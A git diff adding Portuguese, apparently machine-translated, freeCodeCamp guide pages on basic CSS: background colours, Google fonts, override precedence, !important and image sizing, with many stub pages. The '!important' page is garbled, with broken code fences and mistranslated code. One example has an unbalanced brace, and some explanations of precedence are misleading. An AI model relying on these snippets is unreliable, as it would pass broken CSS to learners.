+Você pode alterar a `color` do `background` para um Elemento `div` (ou seção) por uma de duas maneiras.
+
+**O primeiro método:**
+
+Crie uma `class` nos colchetes de estilo.
+
+```html
+
+<style> 
+ .blue-background { 
+    background-color: blue; 
+  } 
+ </style> 
+```
+
+Você pode então adicionar a `class` ao seu elemento `div` :
+
+```html
+
+<div class="blue-background"> 
+  <p> Example </p> 
+ </div> 
+```
+
+**O segundo método:**
+
+Em vez de criar uma `class` como no primeiro método, você pode criar uma `class` Element `div` nos colchetes de estilo.
+
+Cada elemento `div` terá a `class` você criou e atribuiu.
+
+(Isso significa que é uma `class` repetição para cada Elemento `div` que você cria.)
+
+```html
+
+<style> 
+  div { 
+    background-color: blue; 
+  } 
+ </style> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/import-a-google-font/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/import-a-google-font/index.md
new file mode 100644
index 0000000000..800dfe0666
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/import-a-google-font/index.md
@@ -0,0 +1,58 @@
+---
+title: Import a Google Font
+localeTitle: Importar uma fonte do Google
+---
+## Importar uma fonte do Google
+
+### Solução
+
+```html
+
+<link href="https://fonts.googleapis.com/css?family=Lobster" rel="stylesheet" type="text/css"> 
+ 
+ <style> 
+  .red-text { 
+    color: red; 
+  } 
+  h2 { 
+    font-family: Lobster; 
+  } 
+  p { 
+    font-size: 16px; 
+    font-family: monospace; 
+  } 
+ </style> 
+ 
+ <h2 class="red-text">CatPhotoApp</h2> 
+ <main> 
+  <p class="red-text">Click here to view more <a href="#">cat photos</a>.</p> 
+ 
+  <a href="#"><img src="https://bit.ly/fcc-relaxing-cat" alt="A cute orange cat lying on its back."></a> 
+ 
+  <div> 
+    <p>Things cats love:</p> 
+    <ul> 
+      <li>cat nip</li> 
+      <li>laser pointers</li> 
+      <li>lasagna</li> 
+    </ul> 
+    <p>Top 3 things cats hate:</p> 
+    <ol> 
+      <li>flea treatment</li> 
+      <li>thunder</li> 
+      <li>other cats</li> 
+    </ol> 
+  </div> 
+ 
+  <form action="/submit-cat-photo"> 
+    <label><input type="radio" name="indoor-outdoor" checked> Indoor</label> 
+    <label><input type="radio" name="indoor-outdoor"> Outdoor</label><br> 
+    <label><input type="checkbox" name="personality" checked> Loving</label> 
+    <label><input type="checkbox" name="personality"> Lazy</label> 
+    <label><input type="checkbox" name="personality"> Energetic</label><br> 
+    <input type="text" placeholder="cat photo URL" required> 
+    <button type="submit">Submit</button> 
+  </form> 
+ </main> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/index.md
new file mode 100644
index 0000000000..17a87f8ad3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic CSS
+localeTitle: CSS básico
+---
+## CSS básico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md
new file mode 100644
index 0000000000..80f9cf864f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Inherit Styles from the Body Element
+localeTitle: Herdar estilos do elemento do corpo
+---
+## Herdar estilos do elemento do corpo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md
new file mode 100644
index 0000000000..541496b43f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Circular Images with a border-radius
+localeTitle: Faça imagens circulares com um raio de borda
+---
+## Faça imagens circulares com um raio de borda
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-all-other-styles-by-using-important/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-all-other-styles-by-using-important/index.md
new file mode 100644
index 0000000000..0fc66f9fed
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-all-other-styles-by-using-important/index.md
@@ -0,0 +1,34 @@
+---
+title: Override All Other Styles by using Important
+localeTitle: Substituir todos os outros estilos usando Importante
+---
+## Substituir todos os outros estilos usando Importante
+
+Você pode substituir todos os outros estilos em CSS usando `!important` .
+
+Esta substituição é considerada a mais importante e tem precedência sobre o resto.
+
+A lista dos mais importantes para os menos importantes é a seguinte: \`\` \`
+
+1.  importante (importante)
+2.  estilos inline
+3.  declarações de id
+4.  declarações de classe
+```
+Here is an example of how to write/apply !important: 
+```
+
+css cor: preto! importante;
+```
+To apply these in context and see `!important` take precedence, here is an example: 
+```
+
+html
+
+body { font-family: Helvetica; color: purple; } #violet-text { color: violet; } .black-text { color: black !important; } .blue-text { color: blue; }
+
+# Exemplo de texto
+
+\`\` \`
+
+Esse resultado terminaria em `Example Text` sendo preto por causa de `!important` adicionado à `color: black` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-class-declarations-by-styling-id-attributes/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-class-declarations-by-styling-id-attributes/index.md
new file mode 100644
index 0000000000..58d322bc86
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-class-declarations-by-styling-id-attributes/index.md
@@ -0,0 +1,69 @@
+---
+title: Override Class Declarations by Styling ID Attributes
+localeTitle: Substituir Declarações de Classe por Atributos de ID de Estilo
+---
+## Substituir Declarações de Classe por Atributos de ID de Estilo
+
+Para entender a substituição em CSS, você deve primeiro entender o princípio da precendência em CSS.
+
+A principal regra a ser lembrada é que o CSS é lido de baixo para cima.
+
+Um exemplo disso é:
+
+```html
+
+<style> 
+  body { 
+    background-color: black; 
+    font-family: Arial; 
+    color: black; 
+  } 
+  .red-text { 
+    color: red; 
+  } 
+  .blue-text { 
+    color: blue; 
+  } 
+ </style> 
+ <h1 class="red-text blue-text">Example</h1> 
+```
+
+No exemplo acima, o texto `Example` ficará em azul porque a última classe adicionada era `blue-text` .
+
+**É importante lembrar que um atributo `id` terá precedência sobre as classes, o que significa que ele é mais alto.**
+
+Você pode criar um atributo `id` adicionando o `#` antes do nome da classe, como abaixo:
+
+```html
+
+<style> 
+  #purple-text { 
+    color: purple; 
+  } 
+ </style> 
+```
+
+Aqui está um exemplo para mostrar a você como **substituir declarações de classe por atributos de ID de estilo** :
+
+```html
+
+<style> 
+  body { 
+    background-color: black; 
+    font-family: Arial; 
+    color: black; 
+  } 
+  .red-text { 
+    color: red; 
+  } 
+  .blue-text { 
+    color: blue; 
+  } 
+  #green-color { 
+    color: green; 
+  } 
+ </style> 
+ <h1 id="green-color" class="red-text blue-text">Example</h1> 
+```
+
+Isso fará com que o texto `Example` fique verde porque o atributo `id` terá sempre precedência sobre `class` declarações de `class` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md
new file mode 100644
index 0000000000..9e0a186565
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md
@@ -0,0 +1,9 @@
+---
+title: Override Class Declarations with Inline Styles
+localeTitle: Substituir declarações de classe com estilos in-line
+---
+## Substituir declarações de classe com estilos in-line
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-styles-in-subsequent-css/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-styles-in-subsequent-css/index.md
new file mode 100644
index 0000000000..6f4660b27b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/override-styles-in-subsequent-css/index.md
@@ -0,0 +1,66 @@
+---
+title: Override Styles in Subsequent CSS
+localeTitle: Substituir estilos no CSS subseqüente
+---
+## Substituir estilos no CSS subseqüente
+
+O bit mais importante a ser lembrado quando se deseja substituir estilos em CSS subseqüente é a ordem em que as classes são criadas.
+
+O último estilo atualizado terá precedência sobre as classes anteriormente escritas.
+
+Por exemplo:
+
+```html
+
+<style> 
+  body { 
+    color: purple; 
+  } 
+  .red-text { 
+    color: red; 
+  } 
+  .blue-text { 
+    color: blue; 
+  { 
+ </style> 
+```
+
+Agora, quando você cria qualquer texto no `body` , ele terá a cor do texto `purple` atribuída a ele.
+
+Para começar a experimentar o processo de substituição, agora você pode adicionar a classe `"red-text"` para ver os resultados.
+
+Usando o formato acima, o texto abaixo substituirá a `purple` fonte anteriormente `purple` por `red` .
+
+```html
+
+<h1 class="red-text">Example</h1> 
+```
+
+Quando você quiser adicionar várias classes, você pode usar este formato:
+
+```html
+
+<h1 class="class-name1 class-name2 class-name3">Example</h1> 
+```
+
+Agora você pode adicionar a última classe criada acima ( `"blue-text"` ) ao mesmo exemplo acima para ver os resultados.
+
+```html
+
+<h1 class="red-text blue-text">Example</h1> 
+```
+
+Isso selecionará automaticamente a última classe criada na sua seção de estilos, que nesse caso era `"blue-text"` .
+
+Mesmo se você aplicar o `red-text` da primeira classe atrás do `blue-text` da segunda classe, o processo de substituição escolherá a última classe criada. Nesse caso, essa classe é o `blue-text` .
+
+Então, por exemplo:
+
+```html
+
+<h1 class="blue-text red-text">Example</h1> 
+```
+
+Isso ainda exibirá uma `blue` fonte `blue` devido à ordem na seção de estilos.
+
+A classe de `blue-text` foi criada por último, na parte de baixo ( `</style>` ).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md
new file mode 100644
index 0000000000..4a18e665a8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md
@@ -0,0 +1,9 @@
+---
+title: Prioritize One Style Over Another
+localeTitle: Priorize um estilo sobre outro
+---
+## Priorize um estilo sobre outro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md
new file mode 100644
index 0000000000..c8ca4dea92
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the Font Family of an Element
+localeTitle: Definir a família de fontes de um elemento
+---
+## Definir a família de fontes de um elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md
new file mode 100644
index 0000000000..dffd9ba12f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the id of an Element
+localeTitle: Definir o id de um elemento
+---
+## Definir o id de um elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/size-your-images/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/size-your-images/index.md
new file mode 100644
index 0000000000..722792d78a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/size-your-images/index.md
@@ -0,0 +1,11 @@
+---
+title: Size Your Images
+localeTitle: Tamanho suas imagens
+---
+## Tamanho suas imagens
+
+Para dimensionar suas imagens, primeiro crie sua turma em sua tag de estilo.
+
+Um exemplo: `<style> .fixed-image { width: 500px; height: auto; }`
+
+Você pode então adicionar a classe à sua imagem: `<img class="fixed-image" src="http://www.example.com/picture"/>`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md
new file mode 100644
index 0000000000..8e1578bdbf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md
@@ -0,0 +1,9 @@
+---
+title: Specify How Fonts Should Degrade
+localeTitle: Especifique como as fontes devem ser degradadas
+---
+## Especifique como as fontes devem ser degradadas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md
new file mode 100644
index 0000000000..f65268e850
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Style Multiple Elements with a CSS Class
+localeTitle: Estilo vários elementos com uma classe CSS
+---
+## Estilo vários elementos com uma classe CSS
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md
new file mode 100644
index 0000000000..265694cdaa
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Style the HTML Body Element
+localeTitle: Estilize o elemento do corpo do HTML
+---
+## Estilize o elemento do corpo do HTML
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md
new file mode 100644
index 0000000000..9bff20af6e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand Absolute versus Relative Units
+localeTitle: Entenda Unidades Absolutas versus Unidades Relativas
+---
+## Entenda Unidades Absolutas versus Unidades Relativas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md
new file mode 100644
index 0000000000..f60da11e62
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a CSS Class to Style an Element
+localeTitle: Use uma classe CSS para estilizar um elemento
+---
+## Use uma classe CSS para estilizar um elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md
new file mode 100644
index 0000000000..d29e6451ee
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a custom CSS Variable
+localeTitle: Use uma variável CSS personalizada
+---
+## Use uma variável CSS personalizada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md
new file mode 100644
index 0000000000..b3f04cd9ed
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a media query to change a variable
+localeTitle: Use uma consulta de mídia para alterar uma variável
+---
+## Use uma consulta de mídia para alterar uma variável
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md
new file mode 100644
index 0000000000..5cf6bcc1bd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Abbreviated Hex Code
+localeTitle: Use o código hexadecimal abreviado
+---
+## Use o código hexadecimal abreviado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md
new file mode 100644
index 0000000000..6297ae1291
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use an id Attribute to Style an Element
+localeTitle: Use um atributo id para estilizar um elemento
+---
+## Use um atributo id para estilizar um elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md
new file mode 100644
index 0000000000..47de0fbfe4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Attribute Selectors to Style Elements
+localeTitle: Use Seletores de Atributo para Elementos de Estilo
+---
+## Use Seletores de Atributo para Elementos de Estilo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md
new file mode 100644
index 0000000000..120b9db544
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Clockwise Notation to Specify the Margin of an Element
+localeTitle: Use a notação no sentido horário para especificar a margem de um elemento
+---
+## Use a notação no sentido horário para especificar a margem de um elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md
new file mode 100644
index 0000000000..c7835a2c8b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Clockwise Notation to Specify the Padding of an Element
+localeTitle: Use a notação no sentido horário para especificar o preenchimento de um elemento
+---
+## Use a notação no sentido horário para especificar o preenchimento de um elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md
new file mode 100644
index 0000000000..f70fbd3248
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use CSS Selectors to Style Elements
+localeTitle: Use seletores CSS para elementos de estilo
+---
+## Use seletores CSS para elementos de estilo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md
new file mode 100644
index 0000000000..6e9f18d885
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md
@@ -0,0 +1,9 @@
+---
+title: Use CSS Variables to change several elements at once
+localeTitle: Use as variáveis ​​CSS para alterar vários elementos de uma só vez
+---
+## Use as variáveis ​​CSS para alterar vários elementos de uma só vez
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md
new file mode 100644
index 0000000000..692696a92e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Hex Code for Specific Colors
+localeTitle: Use o código hexadecimal para cores específicas
+---
+## Use o código hexadecimal para cores específicas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md
new file mode 100644
index 0000000000..32150dc09a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Hex Code to Mix Colors
+localeTitle: Use o código hexadecimal para misturar cores
+---
+## Use o código hexadecimal para misturar cores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md
new file mode 100644
index 0000000000..7fea4bbec2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Use RGB to Mix Colors
+localeTitle: Use RGB para misturar cores
+---
+## Use RGB para misturar cores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
